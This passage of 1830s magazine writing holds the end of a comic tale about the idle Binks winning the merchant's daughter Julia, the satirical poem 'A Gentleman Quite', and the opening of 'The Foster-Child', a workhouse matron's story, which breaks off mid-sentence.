+hardly sensible of his shaggy friend that lay couched at his feet, with
+his snout buried in the hearth-rug, and his bloodshot eye occasionally
+wandering in search of a regard from his listless master.
+
+At an early age Binks had contrived to run through half the Continent
+and his fortune together; he had travelled from "Dan to Beersheba,"
+and all was barren; and, at twenty-three, the gay Binks had serious
+notions that _this_ was not the best of all possible worlds, and that
+_that_ world, commonly known as the other, to distinguish it from
+this, might hold out a store of enjoyment of higher zest and relish
+than the common-place realities of this. Whether he should wait for
+his turn when the passage to it might become quite natural, or force
+his way _vi et armis_, that is, with a pistol in hand, (for some
+folks _will_ be impatient, and enter in at a breach,) was a matter
+that sorely perplexed him. Tired of this hum-drum life, which a man
+of common activity can exhaust of its most stimulating excitements in
+a few years, was it surprising that he wished for _another_? But the
+doubt that it was a better, would sometimes intrude itself, and agitate
+the very powder in the pan of the pistol that lay before him on the
+breakfast table. Now that the murder is out, it must be confessed that
+Binks had a notion of shooting himself.
+
+What heroic resolves he then made! What a noble contempt for this
+world he then exhibited as he resolutely eyed the pistol, curiously
+scanned its silver mounting, saw that the powder was in the pan,
+looked anxiously around to see that none intruded, or should deprive
+him of the honour of falling by his own hand: still he hesitated; he
+lifted the deadly weapon with one hand, and with the other a volume of
+Shakspeare, which opened at the play of _Hamlet_, and, by the hasty
+glance which he threw on it, he perceived that "the Eternal had set his
+canon 'gainst self-slaughter," and Binks was perplexed. It became now
+a matter not so much of life and death as of simple calculation; on
+one side there was a pistol _for_, and on the other a _canon 'gainst_
+self-slaughter. In this state of indecision, thus sorely beset with
+adverse arguments, what did Binks do? Why, he acted somewhat like a
+sensible man; he yielded to the heavier weight of metal,--the great-gun
+of Shakspeare carried it; and he consented to live, drew the charge,
+lest he should return to it, (for he knew his man,) and made up his
+mind that Shakspeare was a sensible fellow. Have you ever felt as
+if your very heart-strings were tugged at by wild horses, when the
+infernal host of _blues_, marshalled by the devil himself, have taken
+the field against your peace, and that you don't know what to do with
+yourself?
+
+    "Throw but a stone, the giant dies."
+
+Very good; but a pebble of such potency is not always at hand,
+particularly in a drawing-room. Do something, no matter what: go into
+the open air; there's your window invitingly open, and, provided it is
+not too far from the ground, 'tis but a step in advance to the shock
+that may rouse you. Turn financier,--chancellor of your own exchequer;
+there's your tailor's bill lying on the table, wooing you to analyze
+its soft items; give it a first reading, and pass it. What a relief,
+on such occasions, is the presence of any living creature!--your sleek
+tabby,--no,--that fellow doesn't know what to do with himself neither.
+Your playful little Italian grey-hound, whose playfulness is the very
+poetry of motion. And Binks found no relief in these gentle appliances.
+There he lies, flung upon his ottoman, and dallying with its downy
+cushions, with his foot of almost feminine symmetry coquetting with
+his morocco slipper, jerking it off and on according to the intensity
+of the fit. Ponto stands before him. Noble dog, Ponto! He, too, has
+his turn at the slipper, and seizes it in his huge mouth, and gambols
+round the room with it, and now crouches with it before his master,
+and earnestly looks at him, and those two eyes of his suggest a
+double-barrelled gun, and this puts a pistol into his head, and there
+it was at hand, lying on the table, just ready for a charge.
+
+"Mr. Cently," said a servant, half-opening the door; and Binks
+indolently extended the forefinger of his jewelled hand to his visitor.
+
+"Very glad to see you, Cently; this mortgage, I suppose--"
+
+"Is over due, Mr. Binks,--must redeem, though. I shan't let it out
+of the family. The sum is large--hard to get--bad times. Fine dog
+that--bulls and bears are very sulky to-day on 'Change.--Dear me, a
+murderous-looking pistol that, sir--muzzle to muzzle--then brains
+against the wall."
+
+"Provided he has them," said Binks.
+
+"Every man has a little--quality's the thing. I have to meet Scrip
+in the City at two--no time to lose, sir;" and Binks, who was made
+aware of the necessity of a visit to the City, to arrange the terms
+of a loan, put himself under the plastic hands of Bedo, and in a few
+minutes the pair were rolling towards the City in Cently's carriage,
+which thundered along, scarcely waiting to take the necessary turns,
+and narrowly escaped running down several old women of both sexes, till
+they came to Charing-Cross.
+
+"Money is scarce in these times," said Cently, as a sprinkling of cabs
+and omnibuses impeded their course; "broad acres are fine things. I
+mustn't let them go. The sum is large--ten per cent."
+
+All this, and a few other equally interesting particulars, were lost
+upon the abstract Binks, who was quietly lolling back in the carriage,
+and exercising his optics and calculating powers on the size, number,
+and colours of the tom-cats as they sunned themselves on the gutters,
+or held attic intercourse with one another, between May-fair and
+Temple-bar.
+
+"You understand me," continued Cently; "let me see; how many thousands?
+I think it cannot be under fourscore,--great amount that!"
+
+"Not quite so many," said Binks; "I only counted sixty, and I'm correct
+to a tail; bet you a rump and dozen on it."
+
+"On what, sir?"
+
+"On the cats, Cently."
+
+"Ha! ha! Very facetious, Mr. Binks; but I'm not joking.
+
+"You bore me, Cently. Set me down here. Go, and do the needful;
+and when all's ready to sign and seal, you'll find me here;" and
+Binks alighted from the carriage, and ascended the stairs of the
+Mansion-house, which was then alive with sounds and sights of gladness:
+a kind of fancy-fair was being held there for the benefit of some
+charitable institution, and the _élite_ of the North, and wealth of
+the East and West ends were combined in the holy cause of charity. He
+entered, and mingled with the gay groups that promenaded the hall,
+which was converted into a bazaar, where beauty and _bijouterie_ lured
+the careless purchaser,--where a thousand soft things were said and
+handled, and the angel of charity spread her wings over a scene where
+streamed and flaunted many a silken banner, and pointed to every little
+stand. "Happy country!" thought Binks, "that, amid all the anxieties
+and contentions of commerce and politics, remembers in these noble
+institutions the cause of the widow and the orphan. This must be the
+surest mart for beauty when she's found at a stand in the sacred cause
+of charity. Here the thoughtless forget themselves, and think of
+others; here the merchant is generous, and forgets his change."
+
+"I ain't a-going to be done out of my half-crown that way neither,
+ma'am," said a burly little personage in top-boots and perspiration
+to a lovely girl who presided at a stand, and who was trying to lure
+a supplementary half-crown, the balance of a half-sovereign, which,
+after much grumbling, he consented to pay for a shaking mandarin. The
+thorough-bass in which this was uttered roused Binks from his reverie,
+and, on looking round, he beheld the lovely girl in playful yet earnest
+contention for the half-crown, which the fat little man finally
+surrendered to a few persuasive looks, and good-humouredly pocketed his
+shaking mandarin and his chagrin together, and marched off.
+
+Binks approached, and as she raised her eyes from the gay assortment
+before her, still animated with the pious contention in which she was
+engaged, they encountered those of Binks, who was riveted to the spot
+gazing at the beautiful creature that stood before him. He turned over
+a few articles, and became at once deeply immersed in the gay little
+miscellany before him. She would show everything.--Yes,--the articles
+were of the best description; and Binks felt those taper fingers, as
+they tossed them about, as if they were busy with his heart-strings;
+and the perverse Binks asked twenty different questions, and got as
+many answers eloquent and sweet: and then there were looks lustrous and
+shy, and blushes deep and enchanting; and she would go on expatiating
+on the beauty of her _bijouterie_, and he would stand absorbed and
+drinking in the sweet sound of a voice that was modulated with the
+sweetest harmony,--and she would help him to a pair of gloves. Binks
+took several pairs. The first he tried on were very perverse,--too
+tight; and the fairest hands in the City would distend them, and she
+would help to draw them on; and then their palms would meet, and their
+fingers seek one another, and the taper finger of the sweet girl and
+the jewelled hand of Binks would be imprisoned unconsciously for a few
+seconds in the same glove.
+
+"I shall take the whole," said he, and Julia (for that was her name)
+was delighted; and Binks was asking for more, and pulled out,--not his
+purse, but the disappointed hand that was seeking for it.--The purse
+was not there.
+
+No doubt it was that very civil gentleman that rubbed against him as
+he was stepping out of the carriage, and apologised. Here was a grab
+at heart-strings and purse-strings together. He drew out a box set
+with brilliants,--it would stand him at a pinch,--and took a small one
+from the stand, and he would exchange boxes. And this was love,--love
+at first sight,--which we would match all the world over with any at
+second sight.
+
+    "Oh, love! no habitant of earth art thou."
+
+Henceforth shalt thou take thy _stand_ at a bazaar, and we shall bare
+our bosom to thy shafts, provided they be tipped with a little charity,
+and drawn in the holy cause of a benevolent institution! The hours
+lingered on as if they too had come to a stand, the evening stole
+on apace, group after group vanished from the bazaar, and Binks and
+Julia were still in sweet and endearing communion with each other. The
+evening was chilly, and he would help on her splendid cachmere; and the
+loveliest arm in the City leant on Binks as he led her down the steps
+of the Mansion-house. The evening was fine, and he would see her home;
+and both wondered to find themselves at her father's door. And then
+there was a sweet good-night, and kind looks, and gentle pressings of
+the hand, and promises to meet again.
+
+"Want a coach, sir?" said a heavy-coated, slouched-hat brother of the
+cab to Binks, as he stood wondering at himself, his adventure, and the
+fairy figure that a smart servant in livery had just closed the door
+upon.
+
+"Yes--no,--I--I'll walk, friend,--the night's fine;" which healthy
+resolution he was induced to take from certain reminiscences, and his
+purse, though absent, was thought of with regret.
+
+And Binks trod his perilous way through the "palpable obscure" of
+the City with buoyant spirits, as if a pinion lifted every limb,
+notwithstanding a little plebeian pressure from without through
+Cheapside, as often as he forgot his own side of the way; and he
+entered his club the happiest dog that ever moonlight, or its rival
+luminary gas-light, shone upon, and surrendered himself to the
+intoxicating influence of the only draught of pure pleasure he ever
+quaffed.
+
+Julia Deering was the only daughter of a rather comfortable trader, a
+man well to do in the world,--that is, in the City. Business--business
+was at once his solace and his pride, and any pursuit or avocation in
+life of which that bustling noun-substantive was not the principal
+element, was an abomination in his sight. The West-end, he thought,
+had no business where it stood. He looked upon it as a huge fungus,
+the denizens thereof good for nothing; and lords--no matter of what
+creation--he looked upon with the most supreme contempt. Julia was his
+only child, and, next his business, the sole object of his solicitude.
+She grew into loveliness and womanhood amid the smoke and seclusion of
+her father's premises; and, though turned of "quick seventeen," yet he
+thought that her settlement in the world, like the settlement of an
+account with an old house in the City, might take place at any time.
+Any hint to the contrary, whether through the eloquent and suggestive
+looks of the maiden herself, or the unequivocal assiduity of City
+beaux, was sure to make the old man peevish.
+
+Julia, with a world of sense, had a spice of romance about her. She
+loved the West-end, or anything pertaining to it, as much as her father
+hated it. A noble mirror in her little boudoir, as she toyed and
+coquetted with her budding beauties before it, frequently hinted that
+she might be a fine lady; which could only come to pass by her becoming
+the wife of something like a lord. City beaux were her aversion. They
+looked at her through _stocks_, and she often wished their necks in
+them.
+
+Many were the stolen visits to the City which Binks made to see his
+young betrothed. His suit prospered,--Julia was everything he could
+wish; but as fathers _will_ be in the way on such occasions,--how can
+they be so hard-hearted?--and as something like his consent was deemed
+necessary, Binks, through the medium of a friend, had the old man's
+sentiments sounded on the subject; and a decided refusal, couched in
+no very flattering terms, was the result. "I cannot disguise from
+you," said Julia one evening to Binks, after he had communicated to
+her the disastrous intelligence, "that there is much to encounter in
+my father's disposition. He is old and wealthy, with only myself to
+inherit it; and--would you believe it?--he has the greatest aversion
+to a man of rank, and thinks superior manners and accomplishments only
+a cover to heartlessness and deceit; and, what is strange, he has
+repeatedly said he will never consent to my union with anybody as long
+as he is in anything like health,--in short, till he is no longer able
+to protect me himself."
+
+"That is strange indeed!" said Binks, as he hung with the tenderest
+rapture on the confiding frankness and simplicity of his fair
+companion; "your father's objections are no less serious than strange."
+
+"Can nothing," inquired Julia despondingly, "be done to get over them?"
+Had Echo been present, she would have said, "Get over them."
+
+"There can, there can," said Binks with transport; "I have it. So long
+as your father is in good health, he will never give his consent to
+your marriage. Now he is old: and suppose he can be persuaded that
+he _looks_ ill,--such things, you know, are done,--and contrive that
+he shall keep his bed for a few days; and then,--and then, my dear
+girl, let the affair be again pressed upon him." And Binks met the
+ingenuous blush and smile of his young betrothed as she acquiesced
+with an embrace, in which was blended more heartfelt rapture than ever
+he experienced in the dissipated round of tumultuous and exciting
+pleasures.
+
+"The times are certainly very bad, Julia," said old Deering to his
+daughter, as they were at breakfast one morning together; "I never
+recollect them so bad;" and he helped himself to a large slice of ham.
+
+"They may be bad, pa," said the daughter; "but you mustn't take it so
+much to heart. Everybody notices how ill you look since the firm of
+Dobody and Sons went."
+
+The old man suspended a piece of ham, that he had impaled on a fork,
+midway between his mouth and plate; and, planting his right hand on his
+thigh, he looked earnestly at the girl.
+
+"What connexion, hussey, has that failure with my looks or my books
+either? As long as I can keep both free from blotches, I don't care a
+fig for what the world says. But I do believe, girl, that I am not
+as well as either of us could wish,--I am fallen off in my appetite.
+I _could_ finish my ham,--three slices,--and a few eggs; but I am a
+little changed, Julia. Hussey, you've a sharp eye; and to notice it!"
+
+"Lord! pa," said the insidious Julia, "all your acquaintance notice it.
+Mr. Coserly was the first to notice it."
+
+"And what did the rascal say?"
+
+"Why, pa, he said nothing; but there was a great deal in _that_. When
+certain people say little or nothing, they mean a great deal; and when
+there is a great deal of meaning in what one does not say, why, it's a
+very dangerous thing; isn't it, pa?"
+
+"Very true, child, very true. But what can we have for dinner to-day,
+Julia? I expect an old friend of mine, Mr. Tibbs over the way; a very
+proper, industrious, well-to-do-in-the-world kind of man is honest Dick
+Tibbs. He owes me a trifle,--but that is nothing between us. He is none
+of your West-end chaps,--no lack-silver spendthrift,--no hair-lipped,
+hair-brained scamp, with all his fortune on his back, like a pedlar
+and his wallet.--Another cup of tea, Julia.--As I was saying, honest
+Dick Tibbs is----' But what's the matter with the girl? Why, there's
+the tea running out of the urn these last two minutes about the floor.
+Why, Julia, what _is_ the matter? Ah! I see how it is--I thought as
+much. Ye're a cunning pair. But not yet a while, Julia; time enough,
+girl,--time enough. When your dear mother was----"
+
+"I--I--wo-o-on't be Mrs. Ti-i-bbs for all that, pa," hysterically
+sobbed Julia; "I won't be married----"
+
+"That's a dear love!" whimpered the old man; "don't think of marrying
+him yet until I'm----. But I'm pretty strong yet. I'll live, so I will,
+till--ugh!--ugh!--these rheumatics--as long as--Deuce take this old
+cough!"
+
+"As long as God pleases, pa; as long as God pleases," said Julia; and
+she slid her arm coaxingly round her father's neck, and wiped away the
+perspiration that stood like whip-cord upon his brow; and he fell to
+musing on the girl's words, and left his breakfast unfinished.
+
+In the course of that week, through the industry of his daughter,
+the old man was plagued wherever he went with condolence and
+inquiries about his health, which he heard with all the petulance and
+irritability of a miser upon whose hoards an unexpected demand is to be
+made. He accordingly dosed himself with physic, gorged himself at his
+meals, and took such peculiar pains to preserve his health after this
+fashion as would have deprived any other person of it.
+
+A circumstance at length occurred that bade fair to supersede the
+necessity of Julia's pious artifice, and to produce ill looks in
+abundance in the old man. A house with which he was connected failed,
+and involved him in its ruin. This was a blow that smote the old man
+to the heart, and he sank under it. Everything was surrendered to the
+creditors; and his house, with its splendid furniture, was submitted to
+the hammer of the auctioneer.
+
+On the morning of that day a note was put into Binks' hands; it
+was from Julia, and to the effect "that as her father's ruin left
+her no alternative but to share his lot, she could not, under such
+circumstances, think of involving him in their ruin, and begged he
+would think no further of the matter."
+
+"Poor girl!" said Binks, as he gazed on the note that told so briefly
+of so much calamity. What a real _bonâ-fide_ misfortune was, crushing
+and accumulating, and, as it were, breaking the man's heart within him,
+he had no idea of, except what the pathetic in a novel, or the chapter
+of accidents in a newspaper, furnished. These things were well enough
+to read, and to talk about, at a clear fire-side; but for a substantial
+display of energetic and effective sympathy, by succouring the
+distressed, it was what he did not think himself capable of. A second
+time, however, he mastered his indolence, and drove to Julia's house.
+
+What a situation was it in, and what a sight did it present! If there
+is in this world a scene more harrowing to human feeling than another,
+'tis that presented by one's house on the eve of an auction,--a scene
+of "confusion worse confounded." The tossing about and displacing,
+by strange hands, of articles that from time and association have
+become part and parcel of ourselves, linked with a thousand sweet
+recollections, and the innocent display of which was a source of
+dearest household pleasure, now parcelled and ticketed out, and
+catalogued, for the curious and malevolent hands and eyes of strangers!
+Our dearest and holiest places of privacy intruded upon; our sweet
+little nooks and haunts, which are, as it were, set apart for the
+most favoured of our household gods, and where only the footsteps of
+tenderest love should be heard, now echoing and teeming with strange
+sounds and sights!
+
+What a sad volume, and in boards too, is a piece of carpeting piled in
+a corner of a room, revealing the unsightly seams of the naked floor;
+and "the decent clock," with its hands either broken or pointed to the
+wrong hour! The bleak and cheerless hearth, every brick of which was
+an object for the vacant and listless gaze of a pensive abstraction,
+the scene of sweet gambols and merry gossipings, all are sad mementos
+of the "base uses" to which the iron hand of necessity will convert
+objects dear to us from the sweetest household associations.
+
+Elevated in his pulpit, the eloquent Mr. Touchem, the auctioneer,
+presided; and, seated beside him, the very picture of
+broken-heartedness, was old Deering, bent, and leaning forward on his
+gold-headed cane, his eye vacant and listless, looking at every article
+with the curiosity of a child, speaking not a word, and only betraying
+his interest in the scene by a sympathetic stamp of his cane on the
+floor whenever the nervous and grating click of the auctioneer's hammer
+on his desk announced the sale of some favourite article. There was
+one lot only which he showed any anxiety to possess, and as the porter
+handed it round, the old man's countenance gleamed with pleasure as
+his eye wistfully followed it: it was the representation of a little
+spaniel worked in worsted, and the joint work of Julia and his deceased
+wife.
+
+"Rascal!" exclaimed the old man, as the porter somewhat roughly rubbed
+the dust off it, "be tender of the poor thing. That's Julia's. I--I bid
+for that; I bid five pounds for that," said the old man, in a voice
+scarcely articulate with emotion.
+
+"Six pounds," said a voice in the crowd.
+
+"Who bids against me?" muttered old Deering, as he ran his eye over
+the group whence the voice issued. "It was the work of my poor child's
+hands, and of her dear departed mother. Another pound for it, Mr.
+Auctioneer."
+
+The same voice bid against him.
+
+The old man raised himself in his chair, gazed wistfully and
+imploringly in the direction of the voice, and sank back in sullen
+resignation in his chair.
+
+"Going for eight pounds--once--twice--the last time!" and the sharp and
+sudden click of the auctioneer's hammer, as it fell, came with a harsh
+grating sound on the ear of the old man, as he groaned, and muttered
+something between a curse and an entreaty.
+
+Old Deering, notwithstanding the utter ruin of his fortune, still
+continued, from sheer force of habit, to frequent his old haunts;
+and his drooped and wasted figure, with his well-known _tops_ and
+gold-headed cane, might be seen loitering about the purlieus of the
+Exchange, inquiring the price of stocks with as much anxiety as ever,
+and wondering at the ill-manners of some persons who, from his rambling
+and incoherent expressions, looked upon him as somewhat crazed. He was
+in truth so.
+
+This was the time for the active benevolence of Binks to show itself;
+for, except when his indolence stood in the way, he had a heart. He
+saw Julia, and gave her the most decided assurances of his unaltered
+attachment, as the old man's malady threatened to become serious. He
+privately purchased a neat little cottage outside town, and had all
+the furniture (for he attended the auction, and arranged that every
+article of it should be bought in,) conveyed to it. He took particular
+care--for he consulted Julia on the details--that the disposition of
+the furniture in the new house should, as nearly as circumstances would
+permit, be exactly the same as in the house in town. Her father's
+easy-chair, pictures, books, the pianoforte,--for almost every article
+had been preserved by the management of Binks,--were put into something
+like their accustomed places; and little Fidelio, the object of
+contention at the auction, looked quite as brisk as ever, enshrined in
+his glass-case over the mantelpiece, not a whit the worse for having
+his jacket dusted. Change of air, and absence from the scene of his
+former activity, was suggested as the best remedy for the malady of the
+old man.
+
+To this little cottage Julia and her father drove one day, on pretence
+of looking for a suitable residence, such as became their altered
+circumstances. This little cottage struck his fancy, and he expressed a
+wish to see it. A very agreeable young man showed them over the house.
+The more he examined it, the more he liked it; every thing in it was so
+like what he once had.
+
+"Why, Julia, this is your pianoforte! let me hear you play; I'll know
+it among a thousand;" and Julia played "sweet home" for him,--an air
+her father always liked. His eye glistened as she played; it reminded
+him of better days and his old house in the City, and he dropped into
+his easy-chair. "And Fidelio, the little spaniel! Why, how is this,
+Julia?--And this gentleman?" and he looked alternately at Binks and
+Julia. "Ah, hussey! I see how it is; but it's an odd way of coming
+together."
+
+       *       *       *       *       *
+
+And Binks was happy--happy as the day was long. Julia and he were
+married. The gay Binks, like another Hercules, gave up his _club_ when
+he married, and was content with his love in a cottage, with no other
+interruption to his happiness than the occasional pettishness of the
+old man, who could never well forgive Binks for outbidding him for
+Fidelio at the auction. And the malady of _not knowing what to do with
+himself_ never afterwards attacked him, now that the odds were two to
+one against it.
+
+        S.Y.
+
+
+
+
+A GENTLEMAN QUITE.
+
+
+    In Bentley's May number I read of a goose,
+    Whose aim in this life was to be of some use;
+    Now _I_ always act on the opposite plan,
+    And endeavour to take the least trouble I can:
+    I sing at no concert, I dance at no ball,--
+    I'm a gentleman quite, and of no use at all!
+
+    When invited to dinner, I'd much rather starve,
+    Than attempt for some hungry half-dozen to carve;
+    And folks do exist, who, when dishes are nice,
+    Won't scruple to send their plates up to you twice:
+    All vainly for sauces on me do they call,--
+    I'm a gentleman quite, and of no use at all!
+
+    If ask'd for some verses an album to fill,
+    I don't plead want of time, but admit want of skill;
+    There's nothing ungentlemanlike in a dunce,
+    So I state the plain fact, and save trouble at once;
+    For, rather than write, I'd mend shoes in a stall,--
+    I'm a gentleman quite, and of no use at all!
+
+    When doom'd to the Opera with ladies to go,
+    I'm not quite so green as to play the old beau;
+    The fiddlers and dancers are paid to amuse,
+    And, to stand on their level, is what I don't choose.
+    When over, for footman or coach I don't bawl,--
+    I'm a gentleman quite, and of no use at all!
+
+    Of my club in Pall Mall I was very soon cured,
+    They wanted to make me a sort of a steward;
+    Those persons must surely have owed me a grudge,
+    To wish me to work as an amateur drudge.
+    A suggestion so horrible made my flesh crawl;
+    I'm a gentleman quite, and of no use at all!
+
+    I've an uncle, or nephew, or kin of some kind,
+    Who, to sit in St. Stephen's, once felt much inclin'd;
+    To his vulgar committee he added my name;
+    When my poor valet read it, he redden'd with shame.
+    With no mob from the hustings will I ever brawl,--
+    I'm a gentleman quite, and of no use at all!
+
+    But Death's the great leveller: every one knows
+    Gentility's essence is graceful repose,
+    And the grave yields repose that must charm e'en a Turk;
+    No labour or toil there, the worm does the work.
+    When shrouded, and coffin'd, and under a pall,
+    Man's a gentleman quite, he's of no use at all!
+
+        May, 1837.
+        J.S.
+
+
+
+
+THE FOSTER-CHILD.
+
+
+"Ten years to-day! Mercy on us, time does fly indeed! it seems but
+yesterday. And here she sat, her beautiful fair face all reddened by
+the heat, as in her childish romps she puffed with might and main the
+fire in this very grate. Dear heart, how sweet a child it was surely!
+Well, David, say what folks will, I'm convinced there was a fate about
+it."
+
+Before I relate how far David coincided in this opinion of his "gude
+wife," I will mention to whom and to what she alluded, and how I had
+an opportunity of declaring a similar conviction. Seated, after a kind
+reception by the master and matron, in their best room in the workhouse
+of L----, at my request they were proceeding to gratify my curiosity,
+raised by a picture which hung between the windows. The subject and
+execution were striking: it had been hit off at one of those luckiest
+moments for the artist, when, unconsciously, the study presented that
+inspiration to the task which so rarely occurs in what is termed "a
+sitting for a likeness." On a three-legged stool, with one foot raised
+upon the fender, and an old pair of bellows resting on her lap, in
+the act of blowing the fire,--long clustering locks, the brightest
+yellow that ever rivalled sunbeams, flowing from a head turned towards
+her right shoulder, from which a coarse holland pinafore had slipt by
+the breaking of one of the fastenings,--sat a child, apparently eight
+or nine years of age, in whose face beamed more beauty, spirit, and
+intelligence than surely ever were portrayed on canvass. Well might the
+good dame cry, "Dear heart, how sweet a child it was!" Never before or
+since have I beheld its equal; and the vivid recollection of the wonder
+I then felt, will never cease to throw its light upon the page of
+memory till time turns over the new leaf of existence. What admirable
+grace! how exquisitely free! she seemed indeed to inhale the breath
+that panting look bespoke a lack of. What joyous fire in her large blue
+eyes! and then the parted laughing lips, and small pearl teeth! the
+attitude how careless, and most natural! all appeared as much to live
+as if all actual. But, little do I hope, gentle reader, to excite in
+you as lively an interest for the original, by my weak tints of simple
+black and white, as the glowing colours of the picture roused in me. I
+will not attempt it; but at once proceed with the story appertaining
+to the object of my inquiry, as narrated by the worthy matron of "the
+house."
+
+"Do you tell the tale, Bessum," said honest David, addressing his
+spouse, whose name, from Elizabeth and Betsy, had undergone this
+farther proof of the liberties married folks take with one another.
+"Do you tell the tale, and, if needs be, I can help you on, where you
+forget any part of it."
+
+"Ah! you're a 'cute fellow, David," said Elizabeth; "you know how to
+set an easy task as well as any one, 'specially when it's for yourself
+to go about; but, never mind, I wun't rate 'e for 't, for I know 'tis a
+sad subject for you to deal with."
+
+Bessum was evidently right, for the tear that stood trembling for a
+moment in the corner of David's eye as she spoke, rolled unheeded down
+his cheek; while the handkerchief that seemed to have been taken from
+across his knees for the purpose of concealing the simplicity of the
+tribute his honest heart was paying, was employed, for at least the
+tenth time that day, to brush the irreverent dust from the picture of
+his "poor dear child."
+
+I was affected to a degree for which I was unable to account, by the
+touching sigh poor David heaved as he replaced the handkerchief on his
+knees, and resigned himself to the pangs my curiosity was about to
+inflict on him. There was a tender melancholy in the kind creature's
+face that seemed to mark the lacerated feelings of intense affection.
+I could have pressed him to my breast in sympathy of his sufferings,
+for I was already a sharer of his grief before I knew the cause of it.
+It was at this moment that the dame began her story in the words of my
+commencement.
+
+"Ten years to-day," said she, "since that picture was painted, sir."
+
+"Ah, my poor dear child!" sighed David; from which ejaculation I
+inferred that I was about to hear a tale, of which his own daughter
+was the heroine: but I was soon undeceived by his wife, who thus
+proceeded:--
+
+"It ben't necessary to go farther back into the dear child's life than
+to the day on which she was first placed with me to nurse. Who she is
+has nought to do with what she is, or the story of her life; certain
+sure it is she was the loveliest babe I ever saw, and I and David were
+as proud of her as if she were our own, bless her dear heart! How
+everybody talked about her! and how all the folks did love her too,
+surely! I can't tell ye, sir, how beautiful she was; and, as she grew,
+her beauty kept good pace with her years, I promise you. She was nine
+years old the day the painter came to make a likeness of her for her
+father. Here she sat in this very room, just as you see her in the
+picture, sir: she had run in from the garden where she had been at
+romps with poor George, and was puffing away at the fire with an old
+pair of bellows which she found among the lumber in the tool-house,
+when the gentleman, whom she did not notice at first, was arranging his
+matters for the painting of the picture. It was at the moment that she
+turned round to see who was in the room, that, as he said, he was so
+struck with her lovely face he could have taken her likeness if he had
+not seen her a moment longer; and, sure enough, he was not out much in
+his reckoning, for scarcely had he taken his pencil in his hand before
+the little mad-cap bounded out of the room, and ran off to her playmate
+in the garden. That is a copy of the picture, sir; and if the poor dear
+child were sitting here as she was on that day, she couldn't look more
+like herself than that painting does to me."
+
+David was in the very act of again converting his handkerchief into a
+duster; but, after a momentary struggle, for once in a way he pressed a
+corner of it to his eyes, and kept his seat.
+
+"Of all those, barring myself and David," continued the dame, "who
+loved the sweet child,--as, to be sure, everybody did more or
+less,--none seemed to dote on her so much as the young gentleman who
+was then our village doctor's assistant, and poor George."
+
+"And, pray, who was poor George?" said I.
+
+"Ah! sir, his is a sorry story too; but of that anon. He was a
+gentleman born, sir, bless his dear soul! but, before he was barely out
+of his teens, study and such like turned his wits, and poor George was
+placed in our care, an idiot. Oh! how he would watch and wait upon his
+"young mistress," as he used to call the dear child! and Harri--for
+so we nicknamed our little Harriet--seemed to look up to him for all
+her amusements and happiness. Good heart! to see him racing round the
+garden till he was fairly tired and beat for breath, trundling her
+in the wheelbarrow, and fancying himself her coachman; and then how
+he'd follow her wherever she went, as if to protect her; always at
+a distance when he fancied she didn't wish him with her, but never
+out of sight. She appeared to be his only care; his poor head seemed
+filled with nothing but thoughts of her. His friends used to send
+him trinkets, and money, and baubles, to amuse him; and his greatest
+pride was to take little Harri into his room, and show her his stores,
+hang his gilt chains and beads about her neck, seat her in his large
+arm-chair, and stand behind it as if he were her footman, and play
+all kinds of pranks to make her laugh; for he seemed pleased when she
+laughed at him, though he wouldn't bear a smile from anybody else at
+the same cause. His senses served him at times, and then he would fall
+into fits of the bitterest melancholy as he sat looking in our sweet
+child's face, as if reflecting how much he loved her, and how little
+his wandering mind was able to prove his affection! Ah, poor dear
+fellow! it's well his sufferings ended when they did, for they would
+have been terrible indeed if he had lived till now; but all who loved
+her best, fell off from her either by death or desertion when her day
+of trouble came."
+
+David's resolution was plainly wavering as to the application of his
+handkerchief, when Bessum gave it the turn in favour of the picture on
+perceiving her husband's emotion, by adding,
+
+"As for David and myself, you know, sir, we are nobody; it would be
+strange indeed if we could ever have turned our backs upon the dear
+child."
+
+"God forbid!" said David; and little Harri's portrait received the
+extra polish breathed upon it by a deep sigh, previous to the ordinary
+one emanating solely from the handkerchief. "God forbid!" repeated
+David, and Bessum added a hearty amen as she resumed her story.
+
+"As the sweet child grew up," continued she, "she was the talk of all
+tongues far and near; and, before she was fifteen, sir, gentlefolks
+came from all parts to see her. A fine time we had of it surely;
+first one pretence, and then another, kept us answering questions
+and inquiries about her all day long. As for Dame Beetle, who kept a
+little shop, and sold gloves, over the way, just facing this window,
+she made a pretty penny by the beauty of our sweet child, although the
+old simpleton thought it was the goodness of her gloves that brought
+her so many gentlemen customers. Why, I have known no fewer than five
+or six of the neighbouring squires,--ay, and lords too,--so difficult
+to fit, that they've been standing over the little counter by the hour
+together; but I warrant not to much purpose, as far as the real object
+of their visit was concerned. No sooner did horse, or gig, or carriage
+stop in the village, than dear Mr. George,--that is him that was with
+the doctor, you know, sir."
+
+"Oh, his name was George too?"
+
+"Yes, that it was, sir; and down here he would run as fast as legs
+could carry him, and his first question was always, 'David, where is
+little Harri? Take her into the garden.' And here he would sit till
+the gentlefolks opposite were gone away. If ever one creature did dote
+upon another, Mr. George loved that sweet child. Ah! would to Heaven
+he had lived to make her his wife! but it's all fate, and so I suppose
+it's for the best as it is; though I would have died sooner than things
+should have fallen out as they have, if that could have prevented it!"
+
+"A thousand times over," responded David, with a fond glance at the
+picture. "I'd rather never have been born than have lived to weep over
+the ruin of such heavenly beauty and goodness."
+
+A chill of horror struck upon my heart as I repeated with inquiring
+emphasis the word that had produced it.
+
+"The ruin!" said I; "impossible!" and as I raised my eyes towards
+heaven at the thought of such a sacrifice, they caught those of the
+victim in the picture. I could have wept aloud, so powerful was the
+influence of the gaze that I encountered. There sat the loveliest
+creature that the world e'er saw,--an artless, careless child, health,
+hope, and happiness beaming in her sweet fair face; her lips, although
+the choicest target for his aim, the foil of Cupid's darts, so pure, so
+modest was the smile that parted them; her eyes, the beacon-lights of
+virgin chastity; her joyous look, the Lethe where pale Care could come
+but to be lost,--it scared off Woe! And were these made for Ruin to
+write shame upon! Oh, man!--monster!--ingrate fiend!--I was roused from
+my reverie by the perseverance of the good dame, who thus took up the
+thread of her discourse, that my exclamation had broken:
+
+"Ah, poor Mr. George! if he had lived, all would have been well. I
+make bold to say, for certain sure, they would have been man and wife
+by this time; for though she used to go on finely at 'that doctor,'
+as the darling girl used to call him, because he was the cause of her
+being taken into the garden so often, without knowing why,--for all
+that, she loved him in her heart, poor dear! as well she might; for,
+as I said before, he fairly doted upon her. And yet, so delicate was
+his noble mind, he could never as it were talk seriously to her,--that
+is to say, not to make any kind of love to her, you know, sir. He had
+known her from a precious babe; and although his whole heart and soul,
+I do believe, were set upon one day making her his wife, if so be as
+she should not refuse him of her own free will, still he felt so almost
+like a father to her, though he was not more than eight or nine years
